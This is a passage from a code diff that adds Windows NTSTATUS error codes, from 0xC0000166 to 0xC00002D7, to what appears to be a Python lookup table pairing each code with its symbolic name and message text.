+        0xC0000166: ("STATUS_FLOPPY_WRONG_CYLINDER","{Floppy Disk Error} While accessing a floppy disk, the track address from the sector ID field was found to be different from the track address that is maintained by the controller."),
+        0xC0000167: ("STATUS_FLOPPY_UNKNOWN_ERROR","{Floppy Disk Error} The floppy disk controller reported an error that is not recognized by the floppy disk driver."),
+        0xC0000168: ("STATUS_FLOPPY_BAD_REGISTERS","{Floppy Disk Error} While accessing a floppy-disk, the controller returned inconsistent results via its registers."),
+        0xC0000169: ("STATUS_DISK_RECALIBRATE_FAILED","{Hard Disk Error} While accessing the hard disk, a recalibrate operation failed, even after retries."),
+        0xC000016A: ("STATUS_DISK_OPERATION_FAILED","{Hard Disk Error} While accessing the hard disk, a disk operation failed even after retries."),
+        0xC000016B: ("STATUS_DISK_RESET_FAILED","{Hard Disk Error} While accessing the hard disk, a disk controller reset was needed, but even that failed."),
+        0xC000016C: ("STATUS_SHARED_IRQ_BUSY","An attempt was made to open a device that was sharing an interrupt request (IRQ) with other devices. At least one other device that uses that IRQ was already opened. Two concurrent opens of devices that share an IRQ and only work via interrupts is not supported for the particular bus type that the devices use."),
+        0xC000016D: ("STATUS_FT_ORPHANING","{FT Orphaning} A disk that is part of a fault-tolerant volume can no longer be accessed."),
+        0xC000016E: ("STATUS_BIOS_FAILED_TO_CONNECT_INTERRUPT","The basic input/output system (BIOS) failed to connect a system interrupt to the device or bus for which the device is connected."),
+        0xC0000172: ("STATUS_PARTITION_FAILURE","The tape could not be partitioned."),
+        0xC0000173: ("STATUS_INVALID_BLOCK_LENGTH","When accessing a new tape of a multi-volume partition, the current blocksize is incorrect."),
+        0xC0000174: ("STATUS_DEVICE_NOT_PARTITIONED","The tape partition information could not be found when loading a tape."),
+        0xC0000175: ("STATUS_UNABLE_TO_LOCK_MEDIA","An attempt to lock the eject media mechanism failed."),
+        0xC0000176: ("STATUS_UNABLE_TO_UNLOAD_MEDIA","An attempt to unload media failed."),
+        0xC0000177: ("STATUS_EOM_OVERFLOW","The physical end of tape was detected."),
+        0xC0000178: ("STATUS_NO_MEDIA","{No Media} There is no media in the drive. Insert media into drive %hs."),
+        0xC000017A: ("STATUS_NO_SUCH_MEMBER","A member could not be added to or removed from the local group because the member does not exist."),
+        0xC000017B: ("STATUS_INVALID_MEMBER","A new member could not be added to a local group because the member has the wrong account type."),
+        0xC000017C: ("STATUS_KEY_DELETED","An illegal operation was attempted on a registry key that has been marked for deletion."),
+        0xC000017D: ("STATUS_NO_LOG_SPACE","The system could not allocate the required space in a registry log."),
+        0xC000017E: ("STATUS_TOO_MANY_SIDS","Too many SIDs have been specified."),
+        0xC000017F: ("STATUS_LM_CROSS_ENCRYPTION_REQUIRED","An attempt was made to change a user password in the security account manager without providing the necessary LM cross-encrypted password."),
+        0xC0000180: ("STATUS_KEY_HAS_CHILDREN","An attempt was made to create a symbolic link in a registry key that already has subkeys or values."),
+        0xC0000181: ("STATUS_CHILD_MUST_BE_VOLATILE","An attempt was made to create a stable subkey under a volatile parent key."),
+        0xC0000182: ("STATUS_DEVICE_CONFIGURATION_ERROR","The I/O device is configured incorrectly or the configuration parameters to the driver are incorrect."),
+        0xC0000183: ("STATUS_DRIVER_INTERNAL_ERROR","An error was detected between two drivers or within an I/O driver."),
+        0xC0000184: ("STATUS_INVALID_DEVICE_STATE","The device is not in a valid state to perform this request."),
+        0xC0000185: ("STATUS_IO_DEVICE_ERROR","The I/O device reported an I/O error."),
+        0xC0000186: ("STATUS_DEVICE_PROTOCOL_ERROR","A protocol error was detected between the driver and the device."),
+        0xC0000187: ("STATUS_BACKUP_CONTROLLER","This operation is only allowed for the primary domain controller of the domain."),
+        0xC0000188: ("STATUS_LOG_FILE_FULL","The log file space is insufficient to support this operation."),
+        0xC0000189: ("STATUS_TOO_LATE","A write operation was attempted to a volume after it was dismounted."),
+        0xC000018A: ("STATUS_NO_TRUST_LSA_SECRET","The workstation does not have a trust secret for the primary domain in the local LSA database."),
+        0xC000018B: ("STATUS_NO_TRUST_SAM_ACCOUNT","The SAM database on the Windows Server does not have a computer account for this workstation trust relationship."),
+        0xC000018C: ("STATUS_TRUSTED_DOMAIN_FAILURE","The logon request failed because the trust relationship between the primary domain and the trusted domain failed."),
+        0xC000018D: ("STATUS_TRUSTED_RELATIONSHIP_FAILURE","The logon request failed because the trust relationship between this workstation and the primary domain failed."),
+        0xC000018E: ("STATUS_EVENTLOG_FILE_CORRUPT","The Eventlog log file is corrupt."),
+        0xC000018F: ("STATUS_EVENTLOG_CANT_START","No Eventlog log file could be opened. The Eventlog service did not start."),
+        0xC0000190: ("STATUS_TRUST_FAILURE","The network logon failed. This may be because the validation authority cannot be reached."),
+        0xC0000191: ("STATUS_MUTANT_LIMIT_EXCEEDED","An attempt was made to acquire a mutant such that its maximum count would have been exceeded."),
+        0xC0000192: ("STATUS_NETLOGON_NOT_STARTED","An attempt was made to logon, but the NetLogon service was not started."),
+        0xC0000193: ("STATUS_ACCOUNT_EXPIRED","The user account has expired."),
+        0xC0000194: ("STATUS_POSSIBLE_DEADLOCK","{EXCEPTION} Possible deadlock condition."),
+        0xC0000195: ("STATUS_NETWORK_CREDENTIAL_CONFLICT","Multiple connections to a server or shared resource by the same user, using more than one user name, are not allowed. Disconnect all previous connections to the server or shared resource and try again."),
+        0xC0000196: ("STATUS_REMOTE_SESSION_LIMIT","An attempt was made to establish a session to a network server, but there are already too many sessions established to that server."),
+        0xC0000197: ("STATUS_EVENTLOG_FILE_CHANGED","The log file has changed between reads."),
+        0xC0000198: ("STATUS_NOLOGON_INTERDOMAIN_TRUST_ACCOUNT","The account used is an interdomain trust account. Use your global user account or local user account to access this server."),
+        0xC0000199: ("STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT","The account used is a computer account. Use your global user account or local user account to access this server."),
+        0xC000019A: ("STATUS_NOLOGON_SERVER_TRUST_ACCOUNT","The account used is a server trust account. Use your global user account or local user account to access this server."),
+        0xC000019B: ("STATUS_DOMAIN_TRUST_INCONSISTENT","The name or SID of the specified domain is inconsistent with the trust information for that domain."),
+        0xC000019C: ("STATUS_FS_DRIVER_REQUIRED","A volume has been accessed for which a file system driver is required that has not yet been loaded."),
+        0xC000019D: ("STATUS_IMAGE_ALREADY_LOADED_AS_DLL","Indicates that the specified image is already loaded as a DLL."),
+        0xC000019E: ("STATUS_INCOMPATIBLE_WITH_GLOBAL_SHORT_NAME_REGISTRY_SETTING","Short name settings may not be changed on this volume due to the global registry setting."),
+        0xC000019F: ("STATUS_SHORT_NAMES_NOT_ENABLED_ON_VOLUME","Short names are not enabled on this volume."),
+        0xC00001A0: ("STATUS_SECURITY_STREAM_IS_INCONSISTENT","The security stream for the given volume is in an inconsistent state. Please run CHKDSK on the volume."),
+        0xC00001A1: ("STATUS_INVALID_LOCK_RANGE","A requested file lock operation cannot be processed due to an invalid byte range."),
+        0xC00001A2: ("STATUS_INVALID_ACE_CONDITION","The specified access control entry (ACE) contains an invalid condition."),
+        0xC00001A3: ("STATUS_IMAGE_SUBSYSTEM_NOT_PRESENT","The subsystem needed to support the image type is not present."),
+        0xC00001A4: ("STATUS_NOTIFICATION_GUID_ALREADY_DEFINED","The specified file already has a notification GUID associated with it."),
+        0xC0000201: ("STATUS_NETWORK_OPEN_RESTRICTION","A remote open failed because the network open restrictions were not satisfied."),
+        0xC0000202: ("STATUS_NO_USER_SESSION_KEY","There is no user session key for the specified logon session."),
+        0xC0000203: ("STATUS_USER_SESSION_DELETED","The remote user session has been deleted."),
+        0xC0000204: ("STATUS_RESOURCE_LANG_NOT_FOUND","Indicates the specified resource language ID cannot be found in the image file."),
+        0xC0000205: ("STATUS_INSUFF_SERVER_RESOURCES","Insufficient server resources exist to complete the request."),
+        0xC0000206: ("STATUS_INVALID_BUFFER_SIZE","The size of the buffer is invalid for the specified operation."),
+        0xC0000207: ("STATUS_INVALID_ADDRESS_COMPONENT","The transport rejected the specified network address as invalid."),
+        0xC0000208: ("STATUS_INVALID_ADDRESS_WILDCARD","The transport rejected the specified network address due to invalid use of a wildcard."),
+        0xC0000209: ("STATUS_TOO_MANY_ADDRESSES","The transport address could not be opened because all the available addresses are in use."),
+        0xC000020A: ("STATUS_ADDRESS_ALREADY_EXISTS","The transport address could not be opened because it already exists."),
+        0xC000020B: ("STATUS_ADDRESS_CLOSED","The transport address is now closed."),
+        0xC000020C: ("STATUS_CONNECTION_DISCONNECTED","The transport connection is now disconnected."),
+        0xC000020D: ("STATUS_CONNECTION_RESET","The transport connection has been reset."),
+        0xC000020E: ("STATUS_TOO_MANY_NODES","The transport cannot dynamically acquire any more nodes."),
+        0xC000020F: ("STATUS_TRANSACTION_ABORTED","The transport aborted a pending transaction."),
+        0xC0000210: ("STATUS_TRANSACTION_TIMED_OUT","The transport timed out a request that is waiting for a response."),
+        0xC0000211: ("STATUS_TRANSACTION_NO_RELEASE","The transport did not receive a release for a pending response."),
+        0xC0000212: ("STATUS_TRANSACTION_NO_MATCH","The transport did not find a transaction that matches the specific token."),
+        0xC0000213: ("STATUS_TRANSACTION_RESPONDED","The transport had previously responded to a transaction request."),
+        0xC0000214: ("STATUS_TRANSACTION_INVALID_ID","The transport does not recognize the specified transaction request ID."),
+        0xC0000215: ("STATUS_TRANSACTION_INVALID_TYPE","The transport does not recognize the specified transaction request type."),
+        0xC0000216: ("STATUS_NOT_SERVER_SESSION","The transport can only process the specified request on the server side of a session."),
+        0xC0000217: ("STATUS_NOT_CLIENT_SESSION","The transport can only process the specified request on the client side of a session."),
+        0xC0000218: ("STATUS_CANNOT_LOAD_REGISTRY_FILE","{Registry File Failure} The registry cannot load the hive (file): %hs or its log or alternate. It is corrupt, absent, or not writable."),
+        0xC0000219: ("STATUS_DEBUG_ATTACH_FAILED","{Unexpected Failure in DebugActiveProcess} An unexpected failure occurred while processing a DebugActiveProcess API request. You may choose OK to terminate the process, or Cancel to ignore the error."),
+        0xC000021A: ("STATUS_SYSTEM_PROCESS_TERMINATED","{Fatal System Error} The %hs system process terminated unexpectedly with a status of 0x%08x (0x%08x 0x%08x). The system has been shut down."),
+        0xC000021B: ("STATUS_DATA_NOT_ACCEPTED","{Data Not Accepted} The TDI client could not handle the data received during an indication."),
+        0xC000021C: ("STATUS_NO_BROWSER_SERVERS_FOUND","{Unable to Retrieve Browser Server List} The list of servers for this workgroup is not currently available."),
+        0xC000021D: ("STATUS_VDM_HARD_ERROR","NTVDM encountered a hard error."),
+        0xC000021E: ("STATUS_DRIVER_CANCEL_TIMEOUT","{Cancel Timeout} The driver %hs failed to complete a canceled I/O request in the allotted time."),
+        0xC000021F: ("STATUS_REPLY_MESSAGE_MISMATCH","{Reply Message Mismatch} An attempt was made to reply to an LPC message, but the thread specified by the client ID in the message was not waiting on that message."),
+        0xC0000220: ("STATUS_MAPPED_ALIGNMENT","{Mapped View Alignment Incorrect} An attempt was made to map a view of a file, but either the specified base address or the offset into the file were not aligned on the proper allocation granularity."),
+        0xC0000221: ("STATUS_IMAGE_CHECKSUM_MISMATCH","{Bad Image Checksum} The image %hs is possibly corrupt. The header checksum does not match the computed checksum."),
+        0xC0000222: ("STATUS_LOST_WRITEBEHIND_DATA","{Delayed Write Failed} Windows was unable to save all the data for the file %hs. The data has been lost. This error may be caused by a failure of your computer hardware or network connection. Try to save this file elsewhere."),
+        0xC0000223: ("STATUS_CLIENT_SERVER_PARAMETERS_INVALID","The parameters passed to the server in the client/server shared memory window were invalid. Too much data may have been put in the shared memory window."),
+        0xC0000224: ("STATUS_PASSWORD_MUST_CHANGE","The user password must be changed before logging on the first time."),
+        0xC0000225: ("STATUS_NOT_FOUND","The object was not found."),
+        0xC0000226: ("STATUS_NOT_TINY_STREAM","The stream is not a tiny stream."),
+        0xC0000227: ("STATUS_RECOVERY_FAILURE","A transaction recovery failed."),
+        0xC0000228: ("STATUS_STACK_OVERFLOW_READ","The request must be handled by the stack overflow code."),
+        0xC0000229: ("STATUS_FAIL_CHECK","A consistency check failed."),
+        0xC000022A: ("STATUS_DUPLICATE_OBJECTID","The attempt to insert the ID in the index failed because the ID is already in the index."),
+        0xC000022B: ("STATUS_OBJECTID_EXISTS","The attempt to set the object ID failed because the object already has an ID."),
+        0xC000022C: ("STATUS_CONVERT_TO_LARGE","Internal OFS status codes indicating how an allocation operation is handled. Either it is retried after the containing oNode is moved or the extent stream is converted to a large stream."),
+        0xC000022D: ("STATUS_RETRY","The request needs to be retried."),
+        0xC000022E: ("STATUS_FOUND_OUT_OF_SCOPE","The attempt to find the object found an object on the volume that matches by ID; however, it is out of the scope of the handle that is used for the operation."),
+        0xC000022F: ("STATUS_ALLOCATE_BUCKET","The bucket array must be grown. Retry the transaction after doing so."),
+        0xC0000230: ("STATUS_PROPSET_NOT_FOUND","The specified property set does not exist on the object."),
+        0xC0000231: ("STATUS_MARSHALL_OVERFLOW","The user/kernel marshaling buffer has overflowed."),
+        0xC0000232: ("STATUS_INVALID_VARIANT","The supplied variant structure contains invalid data."),
+        0xC0000233: ("STATUS_DOMAIN_CONTROLLER_NOT_FOUND","A domain controller for this domain was not found."),
+        0xC0000234: ("STATUS_ACCOUNT_LOCKED_OUT","The user account has been automatically locked because too many invalid logon attempts or password change attempts have been requested."),
+        0xC0000235: ("STATUS_HANDLE_NOT_CLOSABLE","NtClose was called on a handle that was protected from close via NtSetInformationObject."),
+        0xC0000236: ("STATUS_CONNECTION_REFUSED","The transport-connection attempt was refused by the remote system."),
+        0xC0000237: ("STATUS_GRACEFUL_DISCONNECT","The transport connection was gracefully closed."),
+        0xC0000238: ("STATUS_ADDRESS_ALREADY_ASSOCIATED","The transport endpoint already has an address associated with it."),
+        0xC0000239: ("STATUS_ADDRESS_NOT_ASSOCIATED","An address has not yet been associated with the transport endpoint."),
+        0xC000023A: ("STATUS_CONNECTION_INVALID","An operation was attempted on a nonexistent transport connection."),
+        0xC000023B: ("STATUS_CONNECTION_ACTIVE","An invalid operation was attempted on an active transport connection."),
+        0xC000023C: ("STATUS_NETWORK_UNREACHABLE","The remote network is not reachable by the transport."),
+        0xC000023D: ("STATUS_HOST_UNREACHABLE","The remote system is not reachable by the transport."),
+        0xC000023E: ("STATUS_PROTOCOL_UNREACHABLE","The remote system does not support the transport protocol."),
+        0xC000023F: ("STATUS_PORT_UNREACHABLE","No service is operating at the destination port of the transport on the remote system."),
+        0xC0000240: ("STATUS_REQUEST_ABORTED","The request was aborted."),
+        0xC0000241: ("STATUS_CONNECTION_ABORTED","The transport connection was aborted by the local system."),
+        0xC0000242: ("STATUS_BAD_COMPRESSION_BUFFER","The specified buffer contains ill-formed data."),
+        0xC0000243: ("STATUS_USER_MAPPED_FILE","The requested operation cannot be performed on a file with a user mapped section open."),
+        0xC0000244: ("STATUS_AUDIT_FAILED","{Audit Failed} An attempt to generate a security audit failed."),
+        0xC0000245: ("STATUS_TIMER_RESOLUTION_NOT_SET","The timer resolution was not previously set by the current process."),
+        0xC0000246: ("STATUS_CONNECTION_COUNT_LIMIT","A connection to the server could not be made because the limit on the number of concurrent connections for this account has been reached."),
+        0xC0000247: ("STATUS_LOGIN_TIME_RESTRICTION","Attempting to log on during an unauthorized time of day for this account."),
+        0xC0000248: ("STATUS_LOGIN_WKSTA_RESTRICTION","The account is not authorized to log on from this station."),
+        0xC0000249: ("STATUS_IMAGE_MP_UP_MISMATCH","{UP/MP Image Mismatch} The image %hs has been modified for use on a uniprocessor system, but you are running it on a multiprocessor machine. Reinstall the image file."),
+        0xC0000250: ("STATUS_INSUFFICIENT_LOGON_INFO","There is insufficient account information to log you on."),
+        0xC0000251: ("STATUS_BAD_DLL_ENTRYPOINT","{Invalid DLL Entrypoint} The dynamic link library %hs is not written correctly. The stack pointer has been left in an inconsistent state. The entry point should be declared as WINAPI or STDCALL. Select YES to fail the DLL load. Select NO to continue execution. Selecting NO may cause the application to operate incorrectly."),
+        0xC0000252: ("STATUS_BAD_SERVICE_ENTRYPOINT","{Invalid Service Callback Entrypoint} The %hs service is not written correctly. The stack pointer has been left in an inconsistent state. The callback entry point should be declared as WINAPI or STDCALL. Selecting OK will cause the service to continue operation. However, the service process may operate incorrectly."),
+        0xC0000253: ("STATUS_LPC_REPLY_LOST","The server received the messages but did not send a reply."),
+        0xC0000254: ("STATUS_IP_ADDRESS_CONFLICT1","There is an IP address conflict with another system on the network."),
+        0xC0000255: ("STATUS_IP_ADDRESS_CONFLICT2","There is an IP address conflict with another system on the network."),
+        0xC0000256: ("STATUS_REGISTRY_QUOTA_LIMIT","{Low On Registry Space} The system has reached the maximum size that is allowed for the system part of the registry. Additional storage requests will be ignored."),
+        0xC0000257: ("STATUS_PATH_NOT_COVERED","The contacted server does not support the indicated part of the DFS namespace."),
+        0xC0000258: ("STATUS_NO_CALLBACK_ACTIVE","A callback return system service cannot be executed when no callback is active."),
+        0xC0000259: ("STATUS_LICENSE_QUOTA_EXCEEDED","The service being accessed is licensed for a particular number of connections. No more connections can be made to the service at this time because the service has already accepted the maximum number of connections."),
+        0xC000025A: ("STATUS_PWD_TOO_SHORT","The password provided is too short to meet the policy of your user account. Choose a longer password."),
+        0xC000025B: ("STATUS_PWD_TOO_RECENT","The policy of your user account does not allow you to change passwords too frequently. This is done to prevent users from changing back to a familiar, but potentially discovered, password. If you feel your password has been compromised, contact your administrator immediately to have a new one assigned."),
+        0xC000025C: ("STATUS_PWD_HISTORY_CONFLICT","You have attempted to change your password to one that you have used in the past. The policy of your user account does not allow this. Select a password that you have not previously used."),
+        0xC000025E: ("STATUS_PLUGPLAY_NO_DEVICE","You have attempted to load a legacy device driver while its device instance had been disabled."),
+        0xC000025F: ("STATUS_UNSUPPORTED_COMPRESSION","The specified compression format is unsupported."),
+        0xC0000260: ("STATUS_INVALID_HW_PROFILE","The specified hardware profile configuration is invalid."),
+        0xC0000261: ("STATUS_INVALID_PLUGPLAY_DEVICE_PATH","The specified Plug and Play registry device path is invalid."),
+        0xC0000262: ("STATUS_DRIVER_ORDINAL_NOT_FOUND","{Driver Entry Point Not Found} The %hs device driver could not locate the ordinal %ld in driver %hs."),
+        0xC0000263: ("STATUS_DRIVER_ENTRYPOINT_NOT_FOUND","{Driver Entry Point Not Found} The %hs device driver could not locate the entry point %hs in driver %hs."),
+        0xC0000264: ("STATUS_RESOURCE_NOT_OWNED","{Application Error} The application attempted to release a resource it did not own. Click OK to terminate the application."),
+        0xC0000265: ("STATUS_TOO_MANY_LINKS","An attempt was made to create more links on a file than the file system supports."),
+        0xC0000266: ("STATUS_QUOTA_LIST_INCONSISTENT","The specified quota list is internally inconsistent with its descriptor."),
+        0xC0000267: ("STATUS_FILE_IS_OFFLINE","The specified file has been relocated to offline storage."),
+        0xC0000268: ("STATUS_EVALUATION_EXPIRATION","{Windows Evaluation Notification} The evaluation period for this installation of Windows has expired. This system will shutdown in 1 hour. To restore access to this installation of Windows, upgrade this installation by using a licensed distribution of this product."),
+        0xC0000269: ("STATUS_ILLEGAL_DLL_RELOCATION","{Illegal System DLL Relocation} The system DLL %hs was relocated in memory. The application will not run properly. The relocation occurred because the DLL %hs occupied an address range that is reserved for Windows system DLLs. The vendor supplying the DLL should be contacted for a new DLL."),
+        0xC000026A: ("STATUS_LICENSE_VIOLATION","{License Violation} The system has detected tampering with your registered product type. This is a violation of your software license. Tampering with the product type is not permitted."),
+        0xC000026B: ("STATUS_DLL_INIT_FAILED_LOGOFF","{DLL Initialization Failed} The application failed to initialize because the window station is shutting down."),
+        0xC000026C: ("STATUS_DRIVER_UNABLE_TO_LOAD","{Unable to Load Device Driver} %hs device driver could not be loaded. Error Status was 0x%x."),
+        0xC000026D: ("STATUS_DFS_UNAVAILABLE","DFS is unavailable on the contacted server."),
+        0xC000026E: ("STATUS_VOLUME_DISMOUNTED","An operation was attempted to a volume after it was dismounted."),
+        0xC000026F: ("STATUS_WX86_INTERNAL_ERROR","An internal error occurred in the Win32 x86 emulation subsystem."),
+        0xC0000270: ("STATUS_WX86_FLOAT_STACK_CHECK","Win32 x86 emulation subsystem floating-point stack check."),
+        0xC0000271: ("STATUS_VALIDATE_CONTINUE","The validation process needs to continue on to the next step."),
+        0xC0000272: ("STATUS_NO_MATCH","There was no match for the specified key in the index."),
+        0xC0000273: ("STATUS_NO_MORE_MATCHES","There are no more matches for the current index enumeration."),
+        0xC0000275: ("STATUS_NOT_A_REPARSE_POINT","The NTFS file or directory is not a reparse point."),
+        0xC0000276: ("STATUS_IO_REPARSE_TAG_INVALID","The Windows I/O reparse tag passed for the NTFS reparse point is invalid."),
+        0xC0000277: ("STATUS_IO_REPARSE_TAG_MISMATCH","The Windows I/O reparse tag does not match the one that is in the NTFS reparse point."),
+        0xC0000278: ("STATUS_IO_REPARSE_DATA_INVALID","The user data passed for the NTFS reparse point is invalid."),
+        0xC0000279: ("STATUS_IO_REPARSE_TAG_NOT_HANDLED","The layered file system driver for this I/O tag did not handle it when needed."),
+        0xC0000280: ("STATUS_REPARSE_POINT_NOT_RESOLVED","The NTFS symbolic link could not be resolved even though the initial file name is valid."),
+        0xC0000281: ("STATUS_DIRECTORY_IS_A_REPARSE_POINT","The NTFS directory is a reparse point."),
+        0xC0000282: ("STATUS_RANGE_LIST_CONFLICT","The range could not be added to the range list because of a conflict."),
+        0xC0000283: ("STATUS_SOURCE_ELEMENT_EMPTY","The specified medium changer source element contains no media."),
+        0xC0000284: ("STATUS_DESTINATION_ELEMENT_FULL","The specified medium changer destination element already contains media."),
+        0xC0000285: ("STATUS_ILLEGAL_ELEMENT_ADDRESS","The specified medium changer element does not exist."),
+        0xC0000286: ("STATUS_MAGAZINE_NOT_PRESENT","The specified element is contained in a magazine that is no longer present."),
+        0xC0000287: ("STATUS_REINITIALIZATION_NEEDED","The device requires re-initialization due to hardware errors."),
+        0xC000028A: ("STATUS_ENCRYPTION_FAILED","The file encryption attempt failed."),
+        0xC000028B: ("STATUS_DECRYPTION_FAILED","The file decryption attempt failed."),
+        0xC000028C: ("STATUS_RANGE_NOT_FOUND","The specified range could not be found in the range list."),
+        0xC000028D: ("STATUS_NO_RECOVERY_POLICY","There is no encryption recovery policy configured for this system."),
+        0xC000028E: ("STATUS_NO_EFS","The required encryption driver is not loaded for this system."),
+        0xC000028F: ("STATUS_WRONG_EFS","The file was encrypted with a different encryption driver than is currently loaded."),
+        0xC0000290: ("STATUS_NO_USER_KEYS","There are no EFS keys defined for the user."),
+        0xC0000291: ("STATUS_FILE_NOT_ENCRYPTED","The specified file is not encrypted."),
+        0xC0000292: ("STATUS_NOT_EXPORT_FORMAT","The specified file is not in the defined EFS export format."),
+        0xC0000293: ("STATUS_FILE_ENCRYPTED","The specified file is encrypted and the user does not have the ability to decrypt it."),
+        0xC0000295: ("STATUS_WMI_GUID_NOT_FOUND","The GUID passed was not recognized as valid by a WMI data provider."),
+        0xC0000296: ("STATUS_WMI_INSTANCE_NOT_FOUND","The instance name passed was not recognized as valid by a WMI data provider."),
+        0xC0000297: ("STATUS_WMI_ITEMID_NOT_FOUND","The data item ID passed was not recognized as valid by a WMI data provider."),
+        0xC0000298: ("STATUS_WMI_TRY_AGAIN","The WMI request could not be completed and should be retried."),
+        0xC0000299: ("STATUS_SHARED_POLICY","The policy object is shared and can only be modified at the root."),
+        0xC000029A: ("STATUS_POLICY_OBJECT_NOT_FOUND","The policy object does not exist when it should."),
+        0xC000029B: ("STATUS_POLICY_ONLY_IN_DS","The requested policy information only lives in the Ds."),
+        0xC000029C: ("STATUS_VOLUME_NOT_UPGRADED","The volume must be upgraded to enable this feature."),
+        0xC000029D: ("STATUS_REMOTE_STORAGE_NOT_ACTIVE","The remote storage service is not operational at this time."),
+        0xC000029E: ("STATUS_REMOTE_STORAGE_MEDIA_ERROR","The remote storage service encountered a media error."),
+        0xC000029F: ("STATUS_NO_TRACKING_SERVICE","The tracking (workstation) service is not running."),
+        0xC00002A0: ("STATUS_SERVER_SID_MISMATCH","The server process is running under a SID that is different from the SID that is required by client."),
+        0xC00002A1: ("STATUS_DS_NO_ATTRIBUTE_OR_VALUE","The specified directory service attribute or value does not exist."),
+        0xC00002A2: ("STATUS_DS_INVALID_ATTRIBUTE_SYNTAX","The attribute syntax specified to the directory service is invalid."),
+        0xC00002A3: ("STATUS_DS_ATTRIBUTE_TYPE_UNDEFINED","The attribute type specified to the directory service is not defined."),
+        0xC00002A4: ("STATUS_DS_ATTRIBUTE_OR_VALUE_EXISTS","The specified directory service attribute or value already exists."),
+        0xC00002A5: ("STATUS_DS_BUSY","The directory service is busy."),
+        0xC00002A6: ("STATUS_DS_UNAVAILABLE","The directory service is unavailable."),
+        0xC00002A7: ("STATUS_DS_NO_RIDS_ALLOCATED","The directory service was unable to allocate a relative identifier."),
+        0xC00002A8: ("STATUS_DS_NO_MORE_RIDS","The directory service has exhausted the pool of relative identifiers."),
+        0xC00002A9: ("STATUS_DS_INCORRECT_ROLE_OWNER","The requested operation could not be performed because the directory service is not the master for that type of operation."),
+        0xC00002AA: ("STATUS_DS_RIDMGR_INIT_ERROR","The directory service was unable to initialize the subsystem that allocates relative identifiers."),
+        0xC00002AB: ("STATUS_DS_OBJ_CLASS_VIOLATION","The requested operation did not satisfy one or more constraints that are associated with the class of the object."),
+        0xC00002AC: ("STATUS_DS_CANT_ON_NON_LEAF","The directory service can perform the requested operation only on a leaf object."),
+        0xC00002AD: ("STATUS_DS_CANT_ON_RDN","The directory service cannot perform the requested operation on the Relatively Defined Name (RDN) attribute of an object."),
+        0xC00002AE: ("STATUS_DS_CANT_MOD_OBJ_CLASS","The directory service detected an attempt to modify the object class of an object."),
+        0xC00002AF: ("STATUS_DS_CROSS_DOM_MOVE_FAILED","An error occurred while performing a cross domain move operation."),
+        0xC00002B0: ("STATUS_DS_GC_NOT_AVAILABLE","Unable to contact the global catalog server."),
+        0xC00002B1: ("STATUS_DIRECTORY_SERVICE_REQUIRED","The requested operation requires a directory service, and none was available."),
+        0xC00002B2: ("STATUS_REPARSE_ATTRIBUTE_CONFLICT","The reparse attribute cannot be set because it is incompatible with an existing attribute."),
+        0xC00002B3: ("STATUS_CANT_ENABLE_DENY_ONLY","A group marked \"use for deny only\" cannot be enabled."),
+        0xC00002B4: ("STATUS_FLOAT_MULTIPLE_FAULTS","{EXCEPTION} Multiple floating-point faults."),
+        0xC00002B5: ("STATUS_FLOAT_MULTIPLE_TRAPS","{EXCEPTION} Multiple floating-point traps."),
+        0xC00002B6: ("STATUS_DEVICE_REMOVED","The device has been removed."),
+        0xC00002B7: ("STATUS_JOURNAL_DELETE_IN_PROGRESS","The volume change journal is being deleted."),
+        0xC00002B8: ("STATUS_JOURNAL_NOT_ACTIVE","The volume change journal is not active."),
+        0xC00002B9: ("STATUS_NOINTERFACE","The requested interface is not supported."),
+        0xC00002C1: ("STATUS_DS_ADMIN_LIMIT_EXCEEDED","A directory service resource limit has been exceeded."),
+        0xC00002C2: ("STATUS_DRIVER_FAILED_SLEEP","{System Standby Failed} The driver %hs does not support standby mode. Updating this driver may allow the system to go to standby mode."),
+        0xC00002C3: ("STATUS_MUTUAL_AUTHENTICATION_FAILED","Mutual Authentication failed. The server password is out of date at the domain controller."),
+        0xC00002C4: ("STATUS_CORRUPT_SYSTEM_FILE","The system file %1 has become corrupt and has been replaced."),
+        0xC00002C5: ("STATUS_DATATYPE_MISALIGNMENT_ERROR","{EXCEPTION} Alignment Error A data type misalignment error was detected in a load or store instruction."),
+        0xC00002C6: ("STATUS_WMI_READ_ONLY","The WMI data item or data block is read-only."),
+        0xC00002C7: ("STATUS_WMI_SET_FAILURE","The WMI data item or data block could not be changed."),
+        0xC00002C8: ("STATUS_COMMITMENT_MINIMUM","{Virtual Memory Minimum Too Low} Your system is low on virtual memory. Windows is increasing the size of your virtual memory paging file. During this process, memory requests for some applications may be denied. For more information, see Help."),
+        0xC00002C9: ("STATUS_REG_NAT_CONSUMPTION","{EXCEPTION} Register NaT consumption faults. A NaT value is consumed on a non-speculative instruction."),
+        0xC00002CA: ("STATUS_TRANSPORT_FULL","The transport element of the medium changer contains media, which is causing the operation to fail."),
+        0xC00002CB: ("STATUS_DS_SAM_INIT_FAILURE","Security Accounts Manager initialization failed because of the following error: %hs Error Status: 0x%x. Click OK to shut down this system and restart in Directory Services Restore Mode. Check the event log for more detailed information."),
+        0xC00002CC: ("STATUS_ONLY_IF_CONNECTED","This operation is supported only when you are connected to the server."),
+        0xC00002CD: ("STATUS_DS_SENSITIVE_GROUP_VIOLATION","Only an administrator can modify the membership list of an administrative group."),
+        0xC00002CE: ("STATUS_PNP_RESTART_ENUMERATION","A device was removed so enumeration must be restarted."),
+        0xC00002CF: ("STATUS_JOURNAL_ENTRY_DELETED","The journal entry has been deleted from the journal."),
+        0xC00002D0: ("STATUS_DS_CANT_MOD_PRIMARYGROUPID","Cannot change the primary group ID of a domain controller account."),
+        0xC00002D1: ("STATUS_SYSTEM_IMAGE_BAD_SIGNATURE","{Fatal System Error} The system image %s is not properly signed. The file has been replaced with the signed file. The system has been shut down."),
+        0xC00002D2: ("STATUS_PNP_REBOOT_REQUIRED","The device will not start without a reboot."),
+        0xC00002D3: ("STATUS_POWER_STATE_INVALID","The power state of the current device cannot support this request."),
+        0xC00002D4: ("STATUS_DS_INVALID_GROUP_TYPE","The specified group type is invalid."),
+        0xC00002D5: ("STATUS_DS_NO_NEST_GLOBALGROUP_IN_MIXEDDOMAIN","In a mixed domain, no nesting of a global group if the group is security enabled."),
+        0xC00002D6: ("STATUS_DS_NO_NEST_LOCALGROUP_IN_MIXEDDOMAIN","In a mixed domain, cannot nest local groups with other local groups, if the group is security enabled."),
+        0xC00002D7: ("STATUS_DS_GLOBAL_CANT_HAVE_LOCAL_MEMBER","A global group cannot have a local group as a member."),
